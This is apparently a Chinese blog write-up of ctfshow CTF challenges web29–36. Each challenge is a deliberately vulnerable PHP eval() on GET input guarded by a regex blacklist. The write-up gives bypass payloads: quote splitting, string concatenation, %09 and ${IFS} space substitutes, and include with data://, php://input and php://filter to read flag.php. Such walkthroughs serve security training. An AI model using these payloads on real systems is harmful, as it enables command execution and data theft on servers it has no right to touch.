29-36 全是基于get传参执行 eval() 函数,均采用黑名单匹配,不同点在于黑名单的变化

web29

 1 error_reporting(0);
2 if(isset($_GET['c'])){
3 $c = $_GET['c'];
4 if(!preg_match("/flag/i", $c)){
5 eval($c);
6 }
7
8 }else{
9 highlight_file(__FILE__);
10 }

涉及知识点

  1、执行外部命令函数:system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${})

            (前六个为php可调用并执行linux指令的函数)

  2、关键字屏蔽绕过:''、""、?、*、\、字符拼接、数组拼接

  3、文件内容查看命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、vi

payload 

c=system('tac fla""g.php');

  注意:不可单引号内用单引号,双引号内用双引号

        若使用 cat 命令查看,需要右击查看页面源代码

web30

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}

黑名单增加:system、php

 payload

c=syst\em('tac fl""ag.p""hp');    //对system进行绕过处理,但无法获取flag
真正payload:c=passthru('tac fl""ag.p""hp');
理由:
system()函数是 php 中的函数,不支持 '' "" \ ? * 绕过
但linux支持


但 php 支持字符拼接、数组拼接 c=eval('sys'.'tem("tac fl\ag.p\hp");');
c=eval(implode(['sys','tem("tac fla','g.ph','p");']));

web31

 1 error_reporting(0);
2 if(isset($_GET['c'])){
3 $c = $_GET['c'];
4 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
5 eval($c);
6 }
7
8 }else{
9 highlight_file(__FILE__);
10 }

黑名单增加:cat sort shell . ‘

知识点:

  空格绕过:<>、{,}、${IFS}、$IFS$9、%09、%0a、%0b、%0c

 payload

c=echo(`tac%09fla*`);    //由于屏蔽 . 应用匹配符替代(*  ?)
c=echo%09`tac%09fla*`;
c=passthru("tac%09fl*");    //单引号被屏蔽,只能使用双引号

web32

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}

黑名单增加: `   echo  ;  (

由于 ( 的,使得函数无法使用,文件包含函数与伪协议不需要括号,这里使用文件包含传递伪协议

知识点:

  1、文件包含函数:include、require、include_once、require_once

  2、伪协议:php://  data://  file://  zip://

  3、分号在代码中表示结束,php代码格式为 <?php ?>,分号与 ?> 同为结束符,这里使用 ?> 代替分号

payload

解法一
c=include%09$_GET[1]?>&1=data://text/palin,<?php system('tac flag.php')?> //使用data伪协议
解法二
c=include%09$_GET[1]?>&1=php://input    //使用php伪协议
抓包,在请求体、请求头添加下列信息
解法三
c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php  //使用php伪协议
得到
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YzJhZmM2MDgtNzNjNC00ODEyLWJkMGYtOTQ0ZmNjOTVhMGUxfSI7DQo=
这是对flag.php文件进行base64编码后的内容
进行base64解码,可得flag
base64解码 原因
源代码只对参数 $C 进行黑名单匹配,我们对 $c 再嵌套一个参数,对于 $c 嵌套的参数无法匹配

web33

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}

黑名单添加双引号,不影响我们,解法同32

web34

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}

黑名单添加冒号,解法同32

web35

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}

黑名单添加 <  =,解法同32

web36

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
} }else{
highlight_file(__FILE__);
}

黑名单添加:/  数字

将 web32 的参数换成字母

 payload

c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
c=include%09$_GET[a]?>&a=php://input
c=include%09$_GET[a]?>&a=data://text/palin,<?=system('cat flag.php')?>

参考

[WEB安全]PHP伪协议总结 - 肖洋肖恩、 - 博客园 (cnblogs.com)

ctfshow web入门 命令执行 web29-36的更多相关文章

  1. ctfshow web入门部分题目 (更新中)

    CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...

  2. web漏洞-命令执行、文件上传、XSS

    一.命令执行   1:什么是命令执行? 命令执行漏洞是指攻击者可以随意执行系统命令.属于高危漏洞之一任何脚本语言都可以调用操作系统命令. 应用有时需要调用一些执行系统命令的函数,举个例子如:PHP中的 ...

  3. (大数据工程师学习路径)第一步 Linux 基础入门----命令执行顺序控制与管道

    介绍 顺序执行.选择执行.管道.cut 命令.grep 命令.wc 命令.sort 命令等,高效率使用 Linux 的技巧. 一.命令执行顺序的控制 1.顺序执行多条命令 通常情况下,我们每次只能在终 ...

  4. 【CTF WEB】命令执行

    命令执行 找到题目中的KEY KEY为八位随机字符数字,例如key:1234qwer.提交1234qwer 即可. 漏洞代码 <?php system("ping -c 2 " ...

  5. Asp.net 在网页编写C#代码示例-- 一个简单的web MsSql 命令执行环境

    在给一个客户做的系统上,因为要对数据库进行查看,但之前都是用TeamView来连接到客户的服务器进行数据库操作的 但最近客户那边的TeamView好像更改过密码导致我无法正常连接,而巧了客户的网官因为 ...

  6. ctfshow WEB入门 信息收集 1-20

    web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...

  7. 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

    手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...

  8. 关于CTFshow中Web入门42-54

    0x00前记 ​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...

  9. ctfshow之Web入门刷题记(从89开始,持续更新)

    0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...

  10. [web安全原理]PHP命令执行漏洞基础

    前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...

随机推荐

  1. Servlet HTTP Request Response笔记

    # 今日内容:    1. Servlet    2. HTTP协议    3. Request## Servlet:    1. 概念    2. 步骤    3. 执行原理    4. 生命周期  ...

  2. Portainer功能使用之开启远程访问

    配置远程连接Docker服务 1.配置 说明:docker默认没有打开"2375"端口,需要先进行配置开启端口 命令 修改配置:vim /usr/lib/systemd/syste ...

  3. 合肥光源储存环束流三维参数测量系统相关PV

    合肥光源纵向震荡数据源相关PV 合肥光源纵向震荡数据源相关PV的增补 在上两文中公布了一些PV,依然有效. 本来发过了,那篇里的PV有些命名的不太好,比如PositionX.PositionY等,感觉 ...

  4. jenkins简单安装及配置(Windows环境

    jenkins简单安装及配置(Windows环境) jenkins是一款跨平台的持续集成和持续交付.基于Java开发的开源软件,提供任务构建.持续集成监控的功能,可以使开发测试人员更方便的构建软件项目 ...

  5. 使用树莓派PICO点灯

    使用树莓派PICO点灯树莓派PICO简介具体步骤方式①下载Thonny软件②为PICO烧录MicroPython固件①下载UF2文件②PICO进入boot模式烧录固件③进行点灯效果总结 具体步骤方式① ...

  6. 一个方便IO单元测试的C#扩展库

    对于我们.Net程序员,System.Web.Abstractions我们都非常熟悉,主要作用于Web可以实现单元测试,他是在.Net framework 3.5 sp1开始引入的,很好的解决项目表示 ...

  7. 20192326杨沥凯 实验一《Linux基础与Java开发环境》实验报告

    20192326杨沥凯 2020-2021-1 <数据结构与面向对象程序设计>实验一报告 课程:<程序设计与数据结构> 班级: 1923 姓名: 杨沥凯 学号:20192326 ...

  8. 数据类型之字符串(string)(四)

    字符串本质是:字符序列不可变1.字符串编码,Unicode ord('A') ord('王') 2.创建字符串,引号 a = 'Hello python!' b = "I'm a teach ...

  9. ts(keyof,typeof)

    ts(keyof,typeof) keyof 获取某类型的键,返回联合类型 interface Person { hair: string; eyesColor: string; } let P1 = ...

  10. Java面向对象之回顾方法及加深

    回顾方法及加深 方法的定义 修饰符 返回类型 break和return的区别 1.break:跳出switch,结束循环 2.return:代表方法结束,返回一个结果 方法名:注意规范.见名知意 参数 ...